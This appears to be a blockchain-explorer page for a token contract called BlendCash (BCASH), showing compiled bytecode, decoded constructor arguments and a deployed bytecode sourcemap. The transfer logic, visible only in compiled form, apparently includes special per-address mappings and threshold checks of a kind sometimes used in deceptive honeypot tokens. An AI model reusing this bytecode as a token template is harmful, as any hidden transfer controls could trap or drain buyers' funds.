086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b30600090815260076020526040812054600c5490919060ff16801561069f575060065482115b80156106b35750600c54610100900460ff16155b80156106f157507f000000000000000000000000f515c03bab8707717f89ae8d81f3d93966f217846001600160a01b0316856001600160a01b031614155b1561071e57600c805461ff00191661010017905561070e82610bd8565b600c805461ff001916905561093a565b6006546001600160a01b0386166000908152600a602052604090205411801561076057506006546001600160a01b0385166000908152600a6020526040902054115b1561079e575030600090815260076020526040812080548492839291610787908490611046565b9091555061079790508385610c11565b5050505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316846001600160a01b0316141580156107f757506001600160a01b0385166000908152600a602052604090205415155b8015610804575060065483115b801561084257507f000000000000000000000000f515c03bab8707717f89ae8d81f3d93966f217846001600160a01b0316846001600160a01b031614155b156108665750506001600160a01b039091166000908152600a602052604090205550565b600c54610100900460ff1615801561089557506001600160a01b03851660009081526009602052604090205415155b80156108d357507f000000000000000000000000f515c03bab8707717f89ae8d81f3d93966f217846001600160a01b0316856001600160a01b031614155b80156108f557506001600160a01b0385166000908152600a6020526040902054155b1561093a576006546001600160a01b0386166000908152600a60205260409020546109209190611033565b6001600160a01b0386166000908152600960205260409020555b6001600160a01b037f000000000000000000000000f515c03bab8707717f89ae8d81f3d93966f21784811660009081526008602090815260408083205490931680835260099091529181205490036109a9576006546001600160a01b0382166000908152600960205260409020555b7f000000000000000000000000f515c03bab8707717f89ae8d81f3d93966f217846001600160a01b03908116600090815260086020526040902080546001600160a01b03191691871691909117905560035415801590610a1f57506001600160a01b0386166000908152600a6020526040902054155b8015610a335750600c54610100900460ff16155b8015610a5557506001600160a01b0385166000908152600a6020526040902054155b15610ad757606460035485610a6a9190611059565b610a749190611070565b9150610a808285611033565b6001600160a01b038716600090815260076020526040812080549296508492909190610aad908490611033565b90915550503060009081526007602052604081208054849290610ad1908490611046565b90915550505b6001600160a01b03861660009081526007602052604081208054869290610aff908490611033565b90915550506001600160a01b03851660009081526007602052604081208054869290610b2c908490611046565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610b7891815260200190565b60405180910390a3505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610be5600283611070565b905047610bf28230610c11565b6000610bfe8247611033565b9050610c0b838230610dd3565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c4657610c46611092565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce891906110a8565b81600181518110610cfb57610cfb611092565b60200260200101906001600160a01b031690816001600160a01b031681525050610d46307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610599565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790610d9c9086906000908690889042906004016110c5565b600060405180830381600087803b158015610db657600080fd5b505af1158015610dca573d6000803e3d6000fd5b50505050505050565b610dfe307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610599565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063f305d71990849060c40160606040518083038185885af1158015610e89573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eae9190611136565b505050505050565b600060208083528351808285015260005b81811015610ee357858101830151858201604001528201610ec7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059657600080fd5b60008060408385031215610f2c57600080fd5b8235610f3781610f04565b946020939093013593505050565b600080600060608486031215610f5a57600080fd5b8335610f6581610f04565b92506020840135610f7581610f04565b929592945050506040919091013590565b600060208284031215610f9857600080fd5b8135610fa381610f04565b9392505050565b60008060408385031215610fbd57600080fd5b8235610fc881610f04565b91506020830135610fd881610f04565b809150509250929050565b600181811c90821680610ff757607f821691505b60208210810361101757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e8576103e861101d565b808201808211156103e8576103e861101d565b80820281158282048414176103e8576103e861101d565b60008261108d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110ba57600080fd5b8151610fa381610f04565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111155784516001600160a01b0316835293830193918301916001016110f0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561114b57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220c3d1d562370fe7bd1dbf72f868538fc96a50fe893be27d5f940593d2d168667364736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000009426c656e6443617368000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054243415348000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): BlendCash
Arg [1] : Symbol (string): BCASH
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 426c656e64436173680000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 4243415348000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

11443:5440:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12789:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13327:137;;;;;;;;;;-1:-1:-1;13327:137:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13327:137:0;1023:187:1;12880:86:0;;;;;;;;;;-1:-1:-1;12951:7:0;;12880:86;;;1361:25:1;;;1349:2;1334:18;12880:86:0;1215:177:1;13832:274:0;;;;;;;;;;-1:-1:-1;13832:274:0;;;;;:::i;:::-;;:::i;12974:85::-;;;;;;;;;;-1:-1:-1;13042:9:0;;;;12974:85;;11544:26;;;;;;;;;;;;;;;;12077:38;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;12077:38:0;1858:203:1;13209:110:0;;;;;;;;;;-1:-1:-1;13209:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;13293:18:0;13266:7;13293:18;;;:9;:18;;;;;;;13209:110;10814:94;;;;;;;;;;;;;:::i;:::-;;10163:87;;;;;;;;;;-1:-1:-1;10209:7:0;10236:6;-1:-1:-1;;;;;10236:6:0;10163:87;;12694;;;;;;;;;;;;;:::i;14114:158::-;;;;;;;;;;-1:-1:-1;14114:158:0;;;;;:::i;:::-;;:::i;13067:134::-;;;;;;;;;;-1:-1:-1;13067:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;13166:18:0;;;13139:7;13166:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13067:134;11063:192;;;;;;;;;;-1:-1:-1;11063:192:0;;;;;:::i;:::-;;:::i;12122:42::-;;;;;;;;;;;;;;;12789:83;12826:13;12859:5;12852:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12789:83;:::o;13327:137::-;13395:4;13419:37;13428:10;13440:7;13449:6;13419:8;:37::i;:::-;13412:44;;13327:137;;;;;:::o;13832:274::-;13957:4;13974:36;13984:6;13992:9;14003:6;13974:9;:36::i;:::-;-1:-1:-1;;;;;14057:19:0;;;;;;:11;:19;;;;;;;;14045:10;14057:31;;;;;;;;;14028:70;;14037:6;;14057:40;;14091:6;;14057:40;:::i;:::-;14028:8;:70::i;:::-;14021:77;13832:274;-1:-1:-1;;;;13832:274:0:o;10814:94::-;10209:7;10236:6;-1:-1:-1;;;;;10236:6:0;9062:10;10383:23;10375:68;;;;-1:-1:-1;;;10375:68:0;;3797:2:1;10375:68:0;;;3779:21:1;;;3816:18;;;3809:30;3875:34;3855:18;;;3848:62;3927:18;;10375:68:0;;;;;;;;;10879:21:::1;10897:1;10879:9;:21::i;:::-;10814:94::o:0;12694:87::-;12733:13;12766:7;12759:14;;;;;:::i;14114:158::-;14185:4;14202:40;14212:10;14224:9;14235:6;14202:9;:40::i;:::-;-1:-1:-1;14260:4:0;14114:158;;;;:::o;11063:192::-;10209:7;10236:6;-1:-1:-1;;;;;10236:6:0;9062:10;10383:23;10375:68;;;;-1:-1:-1;;;10375:68:0;;3797:2:1;10375:68:0;;;3779:21:1;;;3816:18;;;3809:30;3875:34;3855:18;;;3848:62;3927:18;;10375:68:0;3595:356:1;10375:68:0;-1:-1:-1;;;;;11152:22:0;::::1;11144:73;;;::::0;-1:-1:-1;;;11144:73:0;;4158:2:1;11144:73:0::1;::::0;::::1;4140:21:1::0;4197:2;4177:18;;;4170:30;4236:34;4216:18;;;4209:62;-1:-1:-1;;;4287:18:1;;;4280:36;4333:19;;11144:73:0::1;3956:402:1::0;11144:73:0::1;11228:19;11238:8;11228:9;:19::i;:::-;11063:192:::0;:::o;13472:352::-;13589:4;-1:-1:-1;;;;;13614:19:0;;;;;;:44;;-1:-1:-1;;;;;;13637:21:0;;;;13614:44;13606:93;;;;-1:-1:-1;;;13606:93:0;;4565:2:1;13606:93:0;;;4547:21:1;4604:2;4584:18;;;4577:30;4643:34;4623:18;;;4616:62;-1:-1:-1;;;4694:18:1;;;4687:34;4738:19;;13606:93:0;4363:400:1;13606:93:0;-1:-1:-1;;;;;13710:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13762:32;;1361:25:1;;;13762:32:0;;1334:18:1;13762:32:0;;;;;;;-1:-1:-1;13812:4:0;13472:352;;;;;:::o;14280:1553::-;14443:4;14394:28;13293:18;;;:9;:18;;;;;;14486:22;;13293:18;;14394:28;14486:22;;:57;;;;;14535:8;;14512:20;:31;14486:57;:78;;;;-1:-1:-1;14548:16:0;;;;;;;14547:17;14486:78;:103;;;;;14576:13;-1:-1:-1;;;;;14568:21:0;:4;-1:-1:-1;;;;;14568:21:0;;;14486:103;14482:812;;;14606:16;:23;;-1:-1:-1;;14606:23:0;;;;;14644:36;14659:20;14644:14;:36::i;:::-;14695:16;:24;;-1:-1:-1;;14695:24:0;;;14482:812;;;14759:8;;-1:-1:-1;;;;;14741:15:0;;;;;;:9;:15;;;;;;:26;:54;;;;-1:-1:-1;14787:8:0;;-1:-1:-1;;;;;14771:13:0;;;;;;:9;:13;;;;;;:24;14741:54;14737:557;;;-1:-1:-1;14857:4:0;14839:24;;;;:9;:24;;;;;:31;;14818:6;;;;14839:24;:31;;14818:6;;14839:31;:::i;:::-;;;;-1:-1:-1;14885:28:0;;-1:-1:-1;14902:6:0;14910:2;14885:16;:28::i;:::-;14928:7;;14280:1553;;;:::o;14737:557::-;14970:6;-1:-1:-1;;;;;14956:21:0;:2;-1:-1:-1;;;;;14956:21:0;;;:44;;;;-1:-1:-1;;;;;;14981:15:0;;14999:1;14981:15;;;:9;:15;;;;;;:19;;14956:44;:65;;;;;15013:8;;15004:6;:17;14956:65;:88;;;;;15031:13;-1:-1:-1;;;;;15025:19:0;:2;-1:-1:-1;;;;;15025:19:0;;;14956:88;14952:342;;;-1:-1:-1;;;;;;;15061:13:0;;;;;;;:9;:13;;;;;:22;-1:-1:-1;14280:1553:0:o;14952:342::-;15127:16;;;;;;;15126:17;:43;;;;-1:-1:-1;;;;;;15147:18:0;;15168:1;15147:18;;;:12;:18;;;;;;:22;;15126:43;:68;;;;;15181:13;-1:-1:-1;;;;;15173:21:0;:4;-1:-1:-1;;;;;15173:21:0;;;15126:68;:92;;;;-1:-1:-1;;;;;;15198:15:0;;;;;;:9;:15;;;;;;:20;15126:92;15122:172;;;15274:8;;-1:-1:-1;;;;;15256:15:0;;;;;;:9;:15;;;;;;:26;;15274:8;15256:26;:::i;:::-;-1:-1:-1;;;;;15235:18:0;;;;;;:12;:18;;;;;:47;15122:172;-1:-1:-1;;;;;15328:13:0;15320:22;;15304:13;15320:22;;;:7;:22;;;;;;;;;;;;15357:19;;;:12;:19;;;;;;;:24;;15353:60;;15405:8;;-1:-1:-1;;;;;15383:19:0;;;;;;:12;:19;;;;;:30;15353:60;15432:13;-1:-1:-1;;;;;15424:22:0;;;;;;;:7;:22;;;;;:27;;-1:-1:-1;;;;;;15424:27:0;;;;;;;;;;15466:7;;:11;;;;:35;;-1:-1:-1;;;;;;15481:15:0;;;;;;:9;:15;;;;;;:20;15466:35;:56;;;;-1:-1:-1;15506:16:0;;;;;;;15505:17;15466:56;:78;;;;-1:-1:-1;;;;;;15526:13:0;;;;;;:9;:13;;;;;;:18;15466:78;15462:252;;;15588:3;15577:7;;15568:6;:16;;;;:::i;:::-;15567:24;;;;:::i;:::-;15561:30;-1:-1:-1;15606:13:0;15561:30;15606:13;;:::i;:::-;-1:-1:-1;;;;;15634:15:0;;;;;;:9;:15;;;;;:22;;15606:13;;-1:-1:-1;15653:3:0;;15634:15;;;:22;;15653:3;;15634:22;:::i;:::-;;;;-1:-1:-1;;15689:4:0;15671:24;;;;:9;:24;;;;;:31;;15699:3;;15671:24;:31;;15699:3;;15671:31;:::i;:::-;;;;-1:-1:-1;;15462:252:0;-1:-1:-1;;;;;15724:15:0;;;;;;:9;:15;;;;;:25;;15743:6;;15724:15;:25;;15743:6;;15724:25;:::i;:::-;;;;-1:-1:-1;;;;;;;15760:13:0;;;;;;:9;:13;;;;;:23;;15777:6;;15760:13;:23;;15777:6;;15760:23;:::i;:::-;;;;;;;;15814:2;-1:-1:-1;;;;;15799:26:0;15808:4;-1:-1:-1;;;;;15799:26:0;;15818:6;15799:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;15799:26:0;;;;;;;;14383:1450;;;14280:1553;;;:::o;11263:173::-;11319:16;11338:6;;-1:-1:-1;;;;;11355:17:0;;;-1:-1:-1;;;;;;11355:17:0;;;;;;11388:40;;11338:6;;;;;;;11388:40;;11319:16;11388:40;11308:128;11263:173;:::o;16180:323::-;16239:12;16254:10;16263:1;16254:6;:10;:::i;:::-;16239:25;-1:-1:-1;16300:21:0;16332:37;16239:25;16363:4;16332:16;:37::i;:::-;16380:18;16401:38;16425:14;16401:21;:38;:::i;:::-;16380:59;;16450:45;16463:4;16469:10;16489:4;16450:12;:45::i;:::-;16228:275;;;16180:323;:::o;16511:369::-;16613:16;;;16627:1;16613:16;;;;;;;;16589:21;;16613:16;;;;;;;;;;-1:-1:-1;16613:16:0;16589:40;;16658:4;16640;16645:1;16640:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;16640:23:0;;;-1:-1:-1;;;;;16640:23:0;;;;;16684:6;-1:-1:-1;;;;;16684:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16674:4;16679:1;16674:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;16674:23:0;;;-1:-1:-1;;;;;16674:23:0;;;;;16708:53;16725:4;16740:6;16749:11;16708:8;:53::i;:::-;-1:-1:-1;16772:100:0;;-1:-1:-1;;;16772:100:0;;-1:-1:-1;;;;;16772:6:0;:57;;;;:100;;16830:11;;16843:1;;16846:4;;16852:2;;16856:15;;16772:100;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16578:302;16511:369;;:::o;15878:294::-;16005:53;16022:4;16037:6;16046:11;16005:8;:53::i;:::-;-1:-1:-1;16069:95:0;;-1:-1:-1;;;16069:95:0;;16118:4;16069:95;;;7139:34:1;7189:18;;;7182:34;;;16138:1:0;7232:18:1;;;7225:34;;;7275:18;;;7268:34;-1:-1:-1;;;;;7339:15:1;;;7318:19;;;7311:44;16148:15:0;7371:19:1;;;7364:35;16069:6:0;:22;;;;16099:9;;7073:19:1;;16069:95:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15878:294;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2066:247::-;2125:6;2178:2;2166:9;2157:7;2153:23;2149:32;2146:52;;;2194:1;2191;2184:12;2146:52;2233:9;2220:23;2252:31;2277:5;2252:31;:::i;:::-;2302:5;2066:247;-1:-1:-1;;;2066:247:1:o;2318:388::-;2386:6;2394;2447:2;2435:9;2426:7;2422:23;2418:32;2415:52;;;2463:1;2460;2453:12;2415:52;2502:9;2489:23;2521:31;2546:5;2521:31;:::i;:::-;2571:5;-1:-1:-1;2628:2:1;2613:18;;2600:32;2641:33;2600:32;2641:33;:::i;:::-;2693:7;2683:17;;;2318:388;;;;;:::o;2945:380::-;3024:1;3020:12;;;;3067;;;3088:61;;3142:4;3134:6;3130:17;3120:27;;3088:61;3195:2;3187:6;3184:14;3164:18;3161:38;3158:161;;3241:10;3236:3;3232:20;3229:1;3222:31;3276:4;3273:1;3266:15;3304:4;3301:1;3294:15;3158:161;;2945:380;;;:::o;3330:127::-;3391:10;3386:3;3382:20;3379:1;3372:31;3422:4;3419:1;3412:15;3446:4;3443:1;3436:15;3462:128;3529:9;;;3550:11;;;3547:37;;;3564:18;;:::i;4768:125::-;4833:9;;;4854:10;;;4851:36;;;4867:18;;:::i;4898:168::-;4971:9;;;5002;;5019:15;;;5013:22;;4999:37;4989:71;;5040:18;;:::i;5071:217::-;5111:1;5137;5127:132;;5181:10;5176:3;5172:20;5169:1;5162:31;5216:4;5213:1;5206:15;5244:4;5241:1;5234:15;5127:132;-1:-1:-1;5273:9:1;;5071:217::o;5425:127::-;5486:10;5481:3;5477:20;5474:1;5467:31;5517:4;5514:1;5507:15;5541:4;5538:1;5531:15;5557:251;5627:6;5680:2;5668:9;5659:7;5655:23;5651:32;5648:52;;;5696:1;5693;5686:12;5648:52;5728:9;5722:16;5747:31;5772:5;5747:31;:::i;5813:980::-;6075:4;6123:3;6112:9;6108:19;6154:6;6143:9;6136:25;6180:2;6218:6;6213:2;6202:9;6198:18;6191:34;6261:3;6256:2;6245:9;6241:18;6234:31;6285:6;6320;6314:13;6351:6;6343;6336:22;6389:3;6378:9;6374:19;6367:26;;6428:2;6420:6;6416:15;6402:29;;6449:1;6459:195;6473:6;6470:1;6467:13;6459:195;;;6538:13;;-1:-1:-1;;;;;6534:39:1;6522:52;;6629:15;;;;6594:12;;;;6570:1;6488:9;6459:195;;;-1:-1:-1;;;;;;;6710:32:1;;;;6705:2;6690:18;;6683:60;-1:-1:-1;;;6774:3:1;6759:19;6752:35;6671:3;5813:980;-1:-1:-1;;;5813:980:1:o;7410:306::-;7498:6;7506;7514;7567:2;7555:9;7546:7;7542:23;7538:32;7535:52;;;7583:1;7580;7573:12;7535:52;7612:9;7606:16;7596:26;;7662:2;7651:9;7647:18;7641:25;7631:35;;7706:2;7695:9;7691:18;7685:25;7675:35;;7410:306;;;;;:::o

Swarm Source

ipfs://c3d1d562370fe7bd1dbf72f868538fc96a50fe893be27d5f940593d2d1686673
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.